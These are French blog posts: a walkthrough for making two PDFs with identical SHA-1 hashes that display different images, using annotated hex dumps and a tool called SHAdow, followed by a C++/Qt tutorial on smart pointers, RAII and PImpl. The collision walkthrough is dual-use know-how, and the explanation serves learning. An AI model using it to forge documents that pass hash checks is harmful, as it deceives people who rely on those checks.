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
McV/8XckU4UJCy+VeTA==
--
Notre objectif est que les quelques octets différents entre les deux fichiers PDF déterminent l’image à afficher.
Il serait en théorie possible d’appliquer cet aiguillage au niveau de la structure du PDF, mais c’est en fait au niveau du JPEG qu’il sera implémenté :
PDFs with the same MD5 hash have previously been constructed by Gebhardt et al. [12] by exploiting so-called Indexed Color Tables and Color Transformation functions. However, this method is not effective for many common PDF viewers that lack support for these functionalities. Our PDFs rely on distinct parsings of JPEG images, similar to Gebhardt et al.’s TIFF technique [12] and Albertini et al.’s JPEG technique [1].
Voici le strict nécessaire à savoir sur le format JPEG pour notre besoin.
Une image est stockée entre les marqueurs 0xffd8 (Start Of Image) et
0xffd9 (End Of Image).
Il est possible d’insérer autant de commentaires que l’on veut, grâce au
marqueur 0xfffe suivi de sa taille sur 2 octets (en big-endian). La taille
compte le header de taille, mais pas le marqueur initial.
Par exemple, si je veux insérer le commentaire “Hello” au tout début, mon fichier JPEG ressemblera à ceci :
ff d8 ff fe 00 07 48 65 6c 6c 6f … ff d9
[SOI] [EOI]
[[COM] [LEN] H e l l o]
<------------------->
7
Et c’est à peu près tout ce qu’il y a à savoir.
Mettons en évidence la première différence entre les fichiers en collision.
Dans le fichier 1 :
000000b0 -- -- -- -- -- -- -- -- -- -- -- -- -- ff fe 01
000000c0 73 -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
Dans le fichier 2 :
000000b0 -- -- -- -- -- -- -- -- -- -- -- -- -- ff fe 01
000000c0 7f -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
Chacun définit un bloc de commentaires, mais pas de mêmes tailles. Dans le
fichier 1, le début du prochain bloc sera à l’adresse 0x232 (0xbf + 0x173),
alors que dans le fichier 2 il sera à l’adresse 0x23e (0xbf + 0x17f).
Nous avons donc trouvé notre aiguillage ; nous allons maintenant utiliser des commentaires JPEG pour cacher soit la première image, soit la seconde.
Pour l’exploiter jusqu’au bout, il suffit de disposer les commentaires astucieusement pour que les deux versions représentent des images parfaitement valides.
Nous allons donc commencer en 0x232 un bloc de commentaires, ayant une taille
permettant de recouvrir l’intégralité de l’image que nous allons stocker en
0x23e. Et inversement, nous devons démarrer un commentaire à la fin de l’image
stockée en 0x23e pour cacher la deuxième image.
Comparons sur le résultat ce qu’observe un parseur qui parcourt chacun des fichiers.
(GG et HH sont les deux images à stocker. J1 et J2 sont les longueurs
des sauts pour enjamber chacune des images.)
Le fichier 1 est parsé ainsi :
00000090 -- -- -- -- -- ff d8 -- -- -- -- -- -- -- -- --
…
000000b0 -- -- -- -- -- -- -- -- -- -- -- -- -- ff fe 01
000000c0 73 -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
…
00000230 -- -- ff fe J1 J1 -- -- -- -- -- -- -- -- GG GG
00000240 GG GG GG GG GG GG GG GG GG GG GG GG GG GG GG GG
…
i GG GG GG GG GG GG ff fe J2 J2 HH HH HH HH HH HH
i+0x10 HH HH HH HH HH HH HH HH HH HH HH HH HH HH HH HH
…
j HH HH ff d9 -- -- -- -- -- -- -- -- -- -- -- --
Le fichier 2 est parsé différemment :
00000090 -- -- -- -- -- ff d8 -- -- -- -- -- -- -- -- --
…
000000b0 -- -- -- -- -- -- -- -- -- -- -- -- -- ff fe 01
000000c0 7f -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
…
00000230 -- -- ff fe J1 J1 -- -- -- -- -- -- -- -- GG GG
00000240 GG GG GG GG GG GG GG GG GG GG GG GG GG GG GG GG
…
i GG GG GG GG GG GG ff fe J2 J2 HH HH HH HH HH HH
i+0x10 HH HH HH HH HH HH HH HH HH HH HH HH HH HH HH HH
…
j HH HH ff d9 -- -- -- -- -- -- -- -- -- -- -- --
Les structures JPEG sont donc valides dans les deux fichiers. L’image affichée
dépendra de l’octet stocké à l’adresse 0xc0, valant soit 0x73, soit 0x7f.
Maintenant, il nous reste à rendre notre PDF valide.
Le header participant à la collision SHA-1 (donc figé) définit des configurations dans des sections séparées (donc non figées) :
00000000 25 50 44 46 2d 31 2e 33 0a 25 e2 e3 cf d3 0a 0a |%PDF-1.3.%......|
00000010 0a 31 20 30 20 6f 62 6a 0a 3c 3c 2f 57 69 64 74 |.1 0 obj.<</Widt|
00000020 68 20 32 20 30 20 52 2f 48 65 69 67 68 74 20 33 |h 2 0 R/Height 3|
00000030 20 30 20 52 2f 54 79 70 65 20 34 20 30 20 52 2f | 0 R/Type 4 0 R/|
00000040 53 75 62 74 79 70 65 20 35 20 30 20 52 2f 46 69 |Subtype 5 0 R/Fi|
00000050 6c 74 65 72 20 36 20 30 20 52 2f 43 6f 6c 6f 72 |lter 6 0 R/Color|
00000060 53 70 61 63 65 20 37 20 30 20 52 2f 4c 65 6e 67 |Space 7 0 R/Leng|
00000070 74 68 20 38 20 30 20 52 2f 42 69 74 73 50 65 72 |th 8 0 R/BitsPer|
00000080 43 6f 6d 70 6f 6e 65 6e 74 20 38 3e 3e 0a 73 74 |Component 8>>.st|
Ainsi, la largeur (Width) est définie dans l’objet 2, la hauteur (Height)
dans l’objet 3, etc.
Ces objets sont à définir à la suite des fichiers JPEG embarqués. Pour
comprendre leur format, le plus simple est de lire le fichier good.pdf que je
recommandais plus haut :
tail -c+$((0x746)) good.pdfOn y trouve la définition des objets (entre autres les dimensions de l’image) :
2 0 obj
8
endobj
3 0 obj
8
endobj
4 0 obj
/XObject
endobj
5 0 obj
/Image
endobj
6 0 obj
/DCTDecode
endobj
7 0 obj
/DeviceRGB
endobj
8 0 obj
1693
endobj
9 0 obj
<<
/Type /Catalog
/Pages 10 0 R
>>
endobj
10 0 obj
<<
/Type /Pages
/Count 1
/Kids [11 0 R]
>>
endobj
11 0 obj
<<
/Type /Page
/Parent 10 0 R
/MediaBox [0 0 8 8]
/CropBox [0 0 8 8]
/Contents 12 0 R
/Resources
<<
/XObject <</Im0 1 0 R>>
>>
>>
endobj
12 0 obj
<</Length 30>>
stream
q
8 0 0 8 0 0 cm
/Im0 Do
Q
endstream
endobj
Ensuite vient la table de références croisées ; elle indique l’offset de chacun des objets définis, dans l’ordre :
xref
0 13
0000000000 65535 f
0000000017 00000 n
0000001861 00000 n
0000001879 00000 n
0000001897 00000 n
0000001922 00000 n
0000001945 00000 n
0000001972 00000 n
0000001999 00000 n
0000002020 00000 n
0000002076 00000 n
0000002142 00000 n
0000002309 00000 n
À chaque ajout ou suppression de caractères dans la définition des objets, cette table doit être mise à jour.
Le fichier se termine par un trailer, contenant l’offset de la table de références :
trailer << /Root 9 0 R /Size 13>>
startxref
2391
%%EOF
Ces offsets sont un peu fastidieux à modifier à la main, mais ça fonctionne.
J’ai donc écrit un petit outil qui applique toutes ces opérations automatiquement: SHAdow.
Il prend en entrée deux images JPEG (de moins de 64K, puisque la taille d’un commentaire est codé sur 2 octets), ainsi que leurs dimensions (afin d’éviter d’utiliser des dépendances pour les extraire) :
./shadow.py img1.jpg img2.jpg 200 200
Il génère deux fichiers dans le répertoire courant, shadow1.pdf et
shadow2.pdf.
Il ne reste qu’à vérifier qu’ils ont bien le même SHA-1 :
sha1sum shadow1.pdf shadow2.pdf
Les pointeurs sont utilisés plus souvent que nécessaire en C++.
Je voudrais présenter ici comment caractériser les utilisations abusives et par quoi les remplacer.
La décision d’utiliser des pointeurs dépend en grande partie de l’API des objets utilisés.
API est à comprendre dans un sens très large : je considère que des classes utilisées dans une autre partie d’une même application exposent une API.
L’objectif est donc de concevoir des API de manière à ce que leur utilisation ne nécessite pas de manipuler de pointeurs, ni même si possible de smart pointers.
Cela peut paraître surprenant, mais c’est en fait ainsi que vous utilisez les classes de la STL ou de Qt : vos méthodes ne retournent jamais un raw pointer ni un smart pointer vers une string nouvellement créée.
De manière générale, vous n’écririez pas ceci :
// STL version
string *getName() {
return new string("my name");
}
// Qt version
QString *getName() {
return new QString("my name");
}ni ceci :
// STL version
shared_ptr<string> getName() {
return make_shared<string>("my name");
}
// Qt version
QSharedPointer<QString> getName() {
return QSharedPointer<QString>::create("my name");
}À la place, vous écririez sûrement :
// STL version
string getName() {
return "my name";
}
// Qt version
QString getName() {
return "my name";
}Notre objectif est d’écrire des classes qui s’utiliseront de la même manière.
Il faut distinguer deux types de raw pointers :
Le plus simple est de les comparer sur un exemple.
Info *getInfo() {
return new Info(/* … */);
}
void doSomething() {
Info *info = getInfo();
// info must be deleted
}Ici, nous avons la responsabilité de supprimer info au bon moment.
C’est ce type de pointeurs dont nous voulons nous débarrasser.
void writeDataTo(QBuffer *buffer) {
buffer->write("c++");
}
void doSomething() {
QBuffer buffer;
writeDataTo(&buffer);
}Ici, le pointeur permet juste de passer l’adresse de l’objet, mais la méthode
writeDataTo(…) ne doit pas gérer sa durée de vie : elle ne le détient donc
pas.
Cet usage est tout-à-fait légitime, nous souhaitons le conserver.
Pour savoir si un pointeur est owning ou non, il suffit de se poser la
question suivante : est-ce que lui affecter nullptr provoquerait une fuite
mémoire ?
Voici quelques exemples illustrant pourquoi nous voulons éviter les owning raw pointers.
Il est facile d’oublier de supprimer un pointeur dans des cas particuliers.
Par exemple :
bool parse() {
Parser *parser = createParser();
QFile file("file.txt");
if (!file.open(QIODevice::ReadOnly))
return false;
bool result = parser->parse(&file);
delete parser;
return result;
// parser leaked if open failed
}Ici, si l’ouverture du fichier a échoué, parser ne sera jamais libéré.
L’exemple suivant est encore plus significatif :
Result *execute() {
// …
return new Result(/* … */);
}
void doWork() {
execute();
// result leaked
}Appeler une méthode sans s’occuper du résultat peut provoquer des fuites mémoires.
Il est également possible, par inattention, de supprimer plusieurs fois le même pointeur (ce qui entraîne un undefined behavior).
Par exemple, si device fait partie de la liste devices, ce code le supprime
deux fois :
delete device;
qDeleteAll(devices);
// device is deleted twiceL’utilisation d’un pointeur après sa suppression est également indéfinie.
Je vais prendre un exemple réel en Qt.
Supposons qu’une classe DeviceMonitor surveille le branchement de
périphériques, et crée pour chacun un objet Device.
Lorsqu’un périphérique est débranché, un signal Qt provoque
l’exécution du slot DeviceMonitor::onDeviceLeft(Device *). Nous voulons
alors signaler au reste de l’application que le device est parti (signal
DeviceMonitor::deviceLeft(Device *)), puis supprimer l’object device
correspondant :
void DeviceMonitor::onDeviceLeft(Device *device) {
emit deviceLeft(device);
delete device;
// slots may use the device after its deletion
// device->deleteLater() not sufficient
}Mais c’est loin d’être trivial.
Si nous le supprimons immédiatement comme ceci, et qu’un slot est branché à
DeviceMonitor::deviceLeft(Device *) en
Qt::QueuedConnection, alors il est possible que le pointeur
soit déjà supprimé quand ce slot sera exécuté.
Un proverbe dit que quand ça crashe avec un delete, “il faut appeller
deleteLater() pour corriger le problème” :
device->deleteLater();Mais malheureusement, ici, c’est faux : si le slot branché au signal
DeviceMonitor::deviceLeft(Device *) est associé à un QObject
vivant dans un autre thread, rien ne garantit que son
exécution aura lieu avant la suppression du pointeur.
L’utilisation des owning raw pointers n’est donc pas seulement vulnérable aux erreurs d’inattention (comme dans les exemples précédents) : dans des cas plus complexes, il devient difficile de déterminer quand supprimer le pointeur.
De manière plus générale, lorsque nous avons un pointeur, nous ne savons pas forcément qui a la responsabilité de le supprimer, ni comment le supprimer :
Data *data = getSomeData();
delete data; // ?
free(data); // ?
custom_deleter(data); // ?Qt fournit un mécanisme pour supprimer automatiquement les QObject * quand
leur parent est détruit. Cependant, cette fonctionnalité ne s’applique qu’aux
relations de composition.
Résumons les inconvénients des owning raw pointeurs :
Laissons de côté les pointeurs quelques instants pour observer ce qu’il se passe avec de simples valeurs (des objets plutôt que des pointeurs vers des objets) :
struct Vector {
int x, y, z;
};
Vector transform(const Vector &v) {
return { -v.x, v.z, v.y };
}
void compute() {
Vector vector = transform({ 1, 2, 3 });
emit finished(transform(vector));
}C’est plus simple : la gestion mémoire est automatique, et le code est plus sûr. Par exemple, les fuites mémoire et les double suppressions sont impossibles.
Ce sont des avantages dont nous souhaiterions bénéficier également pour les pointeurs.
Dans les cas où les pointeurs sont utilisés uniquement pour éviter de retourner des copies (et non pour partager des objets), il est préférable de retourner les objets par valeur à la place.
Par exemple, si vous avez une classe :
struct Result {
QString message;
int code;
};Évitez :
Result *execute() {
// …
return new Result { message, code };
}Préférez :
Result execute() {
// …
return { message, code };
}Certes, dans certains cas, il est moins efficace de passer un objet par valeur qu’à travers un pointeur (car il faut le copier).
Mais cette inefficacité est à relativiser.
D’abord parce que dans certains cas (quand l’objet est copié à partir d’une
rvalue reference), la copie sera remplacée par un move. Le move
d’un vector par exemple n’entraîne aucune copie (ni move) de ses
éléments.
Ensuite parce que les compilateurs optimisent le retour par valeur
(RVO), ce qui fait qu’en réalité dans les exemples ci-dessus, aucun Result
ni Vector n’est jamais copié ni mové : ils sont directement créés à
l’endroit où ils sont affectés (sauf si vous compilez avec le paramètre
-fno-elide-constructors).
Mais évidemment, il y a des cas où nous ne pouvons pas simplement remplacer un pointeur par une valeur, par exemple quand un même objet doit être partagé entre différentes parties d’un programme.
Nous voudrions les avantages des valeurs également pour ces cas-là. C’est l’objectif de la suite du billet.
Pour y parvenir, nous avons besoin de faire un détour par quelques idiomes couramment utilisés en C++.
Ils ont souvent un nom étrange. Par exemple :
Nous allons étudier les deux premiers.
Prenons un exemple simple :
bool submit() {
if (!validate())
return false;
return something();
}Nous souhaitons rendre cette méthode thread-safe grâce à un mutex
(std::mutex en STL ou QMutex en Qt).
Supposons que validate() et something() puissent lever une exception.
Le mutex doit être déverrouillé à la fin de l’exécution de la méthode. Le problème, c’est que cela peut se produire à différents endroits, donc nous devons gérer tous les cas :
bool submit() {
mutex.lock();
try {
if (!validate()) {
mutex.unlock();
return false;
}
bool result = something();
mutex.unlock();
return result;
} catch (...) {
mutex.unlock();
throw;
}
}Le code est beaucoup plus complexe et propice aux erreurs.
Avec des classes utilisant RAII (std::lock_guard en STL ou
QMutexLocker en Qt), c’est beaucoup plus simple :
bool submit() {
QMutexLocker locker(&mutex);
if (!validate())
return false;
return something();
}En ajoutant une seule ligne, la méthode est devenue thread-safe.
Cette technique consiste à utiliser le cycle de vie d’un objet pour acquérir une ressource dans le constructeur (ici verrouiller le mutex) et la relâcher dans le destructeur (ici le déverrouiller).
Voici une implémentation simplifiée possible de QMutexLocker :
class QMutexLocker {
QMutex *mutex;
public:
explicit QMutexLocker(QMutex *mutex) : mutex(mutex) {
mutex->lock();
}
~QMutexLocker() {
mutex->unlock();
}
};Comme l’objet est détruit lors de la sortie du scope de la méthode (que ce
soit par un return ou par une exception survenue n’importe où), le mutex
sera toujours déverrouillé.
Au passage, dans l’exemple ci-dessus, nous remarquons que la variable locker
n’est jamais utilisée. RAII complexifie donc la détection des variables
inutilisées, car le compilateur doit détecter les effets de bords. Mais il s’en
sort bien : ici, il n’émet pas de warning.
Les smart pointers utilisent RAII pour gérer automatiquement la durée de vie des pointeurs. Il en existe plusieurs.
Dans la STL :
std::unique_ptrstd::shared_ptrstd::weak_ptrstd::auto_ptr (à bannir)Dans Qt :
QSharedPointer (équivalent de std::shared_ptr)QWeakPointer (équivalent de std::weak_ptr)QScopedPointer (ersatz de std::unique_ptr)QScopedArrayPointerQPointerQSharedDataPointerQExplicitlySharedDataPointerLe smart pointer le plus simple est le scoped pointer. L’idée est vraiment
la même que QMutexLocker, sauf qu’au lieu de vérouiller et
déverrouiller un mutex, il stocke un raw pointer et le supprime.
En plus de cela, comme tous les smart pointers, il redéfinit certains opérateurs pour pouvoir être utilisé comme un raw pointer.
Par exemple, voici une implémentation simplifiée possible de
QScopedPointer :
template <typename T>
class QScopedPointer {
T *p;
public:
explicit QScopedPointer(T *p) : p(p) {}
~QScopedPointer() { delete p; }
T *data() const { return p; }
operator bool() const { return p; }
T &operator*() const { return *p; }
T *operator->() const { return p; }
private:
Q_DISABLE_COPY(QScopedPointer)
};Et un exemple d’utilisation :
// bad design (owning raw pointer)
DeviceInfo *Device::getDeviceInfo() {
return new DeviceInfo(/* … */);
}
void Device::printInfo() {
QScopedPointer<DeviceInfo> info(getDeviceInfo());
// used like a raw pointer
if (info) {
qDebug() << info->getId();
DeviceInfo copy = *info;
}
// automatically deleted
}Les shared pointers permettent de partager l’ownership (la responsabilité de suppression) d’une ressource.
Ils contiennent un compteur de références, indiquant le nombre d’instances partageant le même pointeur. Lorsque ce compteur tombe à 0, le pointeur est supprimé (il faut donc éviter les cycles).
En pratique, voici ce à quoi ressemblerait une liste de Devices partagés par
des QSharedPointers :
class DeviceList {
QList<QSharedPointer<Device>> devices;
public:
QSharedPointer<Device> getDevice(int index) const;
void add(const QSharedPointer<Device> &device);
void remove(Device *device);
};
// devices are automatically deleted when necessaryLe partage d’un pointeur découle toujours de la copie d’un shared pointer.
C’est la raison pour laquelle getDevice(…) et add(…) manipulent un
QSharedPointer.
Le piège à éviter est de créér plusieurs smart pointers indépendants sur le même raw pointer. Dans ce cas, il y aurait deux refcounts à 1 plutôt qu’un refcount à 2, et le pointeur serait supprimé dès la destruction du premier shared pointer, laissant l’autre pendouillant.
Petite parenthèse : la signature des méthodes add et remove sont
différentes car une suppression ne nécessite pas de manipuler la durée de
vie du Device passé en paramètre.
Refcounted smart pointers are about managing te owned object’s lifetime.
Copy/assign one only when you intend to manipulate the owned object’s lifetime.
Au passage, si en Qt vous passez vos objets de la couche C++ à la couche QML, il faut aussi passer les shared pointers afin de ne pas casser le partage, ce qui implique d’enregistrer le type :
void registerQml() {
qRegisterMetaType<QSharedPointer<Device>>();
}Listons donc les avantages des shared pointers :
Cependant, si la gestion mémoire est automatique, elle n’est pas
transparente : elle nécessite de manipuler explicitement des
QSharedPointer, ce qui est verbeux.
Il est certes possible d’utiliser un alias (typedef) pour atténuer la verbosité :
using DevicePtr = QSharedPointer<Device>;
class DeviceList {
QList<DevicePtr> devices;
public:
DevicePtr getDevice(int index) const;
void add(const DevicePtr &device);
void remove(Device *device);
};Mais quoi qu’il en soit, cela reste plus complexe que des valeurs.
Pour aller plus loin, nous allons devoir faire un détour inattendu, par un idiome qui n’a a priori rien à voir.
PImpl sert à réduire les dépendances de compilation.
Opaque pointers are a way to hide the implementation details of an interface from ordinary clients, so that the implementation may be changed without the need to recompile the modules using it.
Prenons la classe Person suivante (person.h) :
class Person {
QString name;
long birth;
public:
Person(const QString &name, long birth);
QString getName() const;
void setName(const QString &name);
int getAge() const;
private:
static long countYears(long from, long to);
};Elle contient juste un nom et un âge. Elle définit par ailleurs une méthode
privée, countYears(…), qu’on imagine appelée dans getAge().
Chaque classe désirant utiliser la classe Person devra l’inclure :
#include "person.h"Par conséquent, à chaque modification de ces parties privées (qui sont pourtant
que des détails d’implémentation), toutes les classes incluant person.h
devront être recompilées.
C’est ce que PImpl permet d’éviter, en séparant la classe en deux :
Concrètement, la classe Person précédente est la partie privée. Renommons-la :
class PersonPrivate {
QString name;
long birth;
public:
PersonPrivate(const QString &name, long birth);
QString getName() const;
void setName(const QString &name);
int getAge() const;
private:
static long countYears(long from, long to);
};Créons la partie publique, définissant l’interface souhaitée :
class PersonPrivate; // forward declaration
class Person {
PersonPrivate *d;
public:
Person(const QString &name, long birth);
Person(const Person &other);
~Person();
Person &operator=(const Person &other);
QString getName() const;
void setName(const QString &name);
int getAge() const;
};Elle contient un pointeur vers PersonPrivate, et lui délègue tous les appels.
Évidemment, Person ne doit pas inclure PersonPrivate, sinon nous aurions les
mêmes dépendances de compilation, et nous n’aurions rien résolu. Il faut
utiliser à la place une forward declaration.
Voici son implémentation :
Person::Person(const QString &name, long birth) :
d(new PersonPrivate(name, birth)) {}
Person::Person(const Person &other) :
d(new PersonPrivate(*other.d)) {}
Person::~Person() { delete d; }
Person &Person::operator=(const Person &other) {
*d = *other.d;
return *this;
}
QString Person::getName() const {
return d->getName();
}
void Person::setName(const QString &name) {
d->setName(name);
}
int Person::getAge() const {
return d->getAge();
}Le pointeur vers la classe privée est souvent nommé d car il s’agit d’un
d-pointer.
Donc comme prévu, tout cela n’a rien à voir avec notre objectif d’éviter d’utiliser des pointeurs.
Mais en fait, si. PImpl permet de séparer les classes manipulées explicitement de l’objet réellement modifié :

Il y a une relation 1-1 entre la classe publique et la classe privée correspondante. Mais nous pouvons imaginer d’autres cardinalités.
Par exemple, Qt partage implicitement les parties privées d’un grand nombre de classes. Il ne les copie que lors d’une écriture (CoW) :

Par exemple, lorsqu’une QString est copiée, la même zone mémoire
sera utilisée pour les différentes instances, jusqu’à ce qu’une modification
survienne.
Cependant, il ne s’agit que d’un détail d’implémentation utilisé pour améliorer les performances. Du point de vue utilisateur, tout se passe comme si les données étaient réellement copiées :
QString s1 = "ABC";
QString s2 = s1;
s2.append("DEF");
Q_ASSERT(s2 == "ABCDEF");
Q_ASSERT(s1 == "ABC");En d’autres termes, les classes publiques ci-dessus ont une sémantique de valeur.
À la place, nous pouvons décider de partager inconditionnellement la partie privée, y compris après une écriture :

Dans ce cas, la classe publique a sémantique d’entité. Elle est qualifiée de resource handle.
C’est bien sûr le cas des smart pointers :
QSharedPointer<Person> p1(new Person("ABC", 42));
QSharedPointer<person> p2 = p1;
p2->setName("DEF");
Q_ASSERT(p1.getName() == "DEF");
Q_ASSERT(p2.getName() == "DEF");Mais aussi d’autres classes, comme l’API Dom de Qt :
void addItem(const QDomDocument &document, const QDomElement &element) {
QDomElement root = document.documentElement();
root.insertAfter(element, {});
// the document is modified
}Tout-à-l’heure, j’ai présenté PImpl en utilisant un owning raw pointer :
class PersonPrivate; // forward declaration
class Person {
// this is a raw pointer!
PersonPrivate *d;
public:
// …
};Mais en fait, à chaque type de relation correspond un type de smart pointer directement utilisable pour PImpl.
Pour une relation 1-1 classique :
Pour une relation 1-N à sémantique de valeur (CoW) :
Pour une relation 1-N à sémantique d’entité :
Par exemple, donnons à notre classe Person une sémantique d’entité :
class PersonPrivate; // forward declaration
class Person {
QSharedPointer<PersonPrivate> d;
public:
Person() = default; // a "null" person
Person(const QString &name, long birth);
QString getName() const;
// shared handles should expose const methods
void setName(const QString &name) const;
int getAge() const;
operator bool() const { return d; }
};Person se comporte maintenant comme un pointeur.
Person p1("ABC", 42);
Person p2 = p1;
p2.setName("DEF");
Q_ASSERT(p1.getName() == "DEF");
Q_ASSERT(p2.getName() == "DEF");p1 et p2 sont alors des resource handles vers PersonPrivate :

Évidemment, ce n’est pas approprié pour la classe Person, car le comportement
est trop inattendu.
Mais je vais présenter un cas réel où ce design est approprié.
Pour l’entreprise dans laquelle je suis salarié, j’ai implémenté une fonctionnalité permettant d’utiliser une souris USB branchée sur un PC pour contrôler un téléphone Android connecté en USB.
Concrètement, cela consiste à tranférer (grâce à libusb), à partir
du PC, les événements HID reçus de la souris vers le téléphone Android.
J’ai donc (entre autres) créé des resources handles UsbDevice et
UsbDeviceHandle qui wrappent les structures C libusb_device
et libusb_device_handle, suivant les principes
détaillés dans ce billet.
Leur utilisation illustre bien, d’après moi, les bénéfices d’une telle conception.
class UsbDeviceMonitor {
QList<UsbDevice> devices;
public:
// …
UsbDevice getAnyDroid() const;
UsbDevice getAnyMouse() const;
signals:
void deviceArrived(const UsbDevice &device);
void deviceLeft(const UsbDevice &device);
};UsbDevice peut être retourné par valeur, et passé en paramètre d’un signal
par const reference (exactement comme nous le ferions avec un
QString).
UsbDevice UsbDeviceMonitor::getAnyMouse() const {
for (const UsbDevice &device : devices)
if (device.isMouse())
return device;
return {};
}Si une souris est trouvée dans la liste, on la retourne simplement ; sinon, on
retourne un UsbDevice “null”.
void UsbDeviceMonitor::onHotplugDeviceArrived(const UsbDevice &device) {
devices.append(device);
emit deviceArrived(device);
}La gestion mémoire est totalement automatique et transparente. Les problèmes présentés sont résolus.
void registerQml() {
qRegisterMetaType<UsbDevice>();
}// QML
function startForwarding() {
var mouse = usbDeviceMonitor.getAnyMouse()
var droid = usbDeviceMonitor.getAnyDroid()
worker = hid.forward(mouse, droid)
}UsbDevice peut naviguer entre la couche C++ et QML.
bool HID::forward(const UsbDevice &mouse, const UsbDevice &droid) {
UsbDeviceHandle droidHandle = droid.open();
if (!droidHandle)
return false;
UsbDeviceHandle mouseHandle = mouse.open();
if (!mouseHandle)
return false;
// …
}Grâce à RAII, les connexions (UsbDeviceHandle) sont fermées automatiquement.
En particulier, si la connexion à la souris échoue, la connexion au téléphone Android est automatiquement fermée.
Dans ces différents exemples, new et delete ne sont jamais utilisés, et
par construction, la mémoire sera correctement gérée. Ou plus précisément,
si un problème de gestion mémoire existe, il se situera dans l’implémentation de
la classe elle-même, et non partout où elle est utilisée.
Ainsi, nous manipulons des handles se comportant comme des pointeurs, ayant les mêmes avantages que les valeurs :
Ils peuvent par contre présenter quelques limitations.
Par exemple, ils sont incompatibles avec QObject. En effet,
techniquement, la classe d’un resource handle doit pouvoir être copiée (pour
supporter le passage par valeur), alors qu’un QObject n’est pas
copiable :
QObjects are identities, not values.
Très concrètement, cela implique que UsbDevice ne pourrait pas supporter de
signaux (en tout cas, pas directement). C’est d’ailleurs le cas de beaucoup de
classes de Qt : par exemple QString et QList n’héritent
pas de QObject.
auto decide = [=] {
if (semantics == VALUE) {
if (!mustAvoidCopies)
return "just use values";
return "use PImpl + QSharedDataPointer";
}
// semantics == ENTITY
if (entitySemanticsIsObvious)
return "use PImpl + QSharedPointer";
return "use smart pointers explicitly";
};C’est juste une heuristique…
En suivant ces principes, nous pouvons nous débarrasser des owning
raw pointers et des new et delete “nus”. Cela contribue à rendre le code
plus simple et plus robuste.
Ce sont d’ailleurs des objectifs qui guident les évolutions du langage C++ :
return 0;
Pour ce blog, j’ai abandonné Wordpress pour Jekyll, un moteur de blog statique.
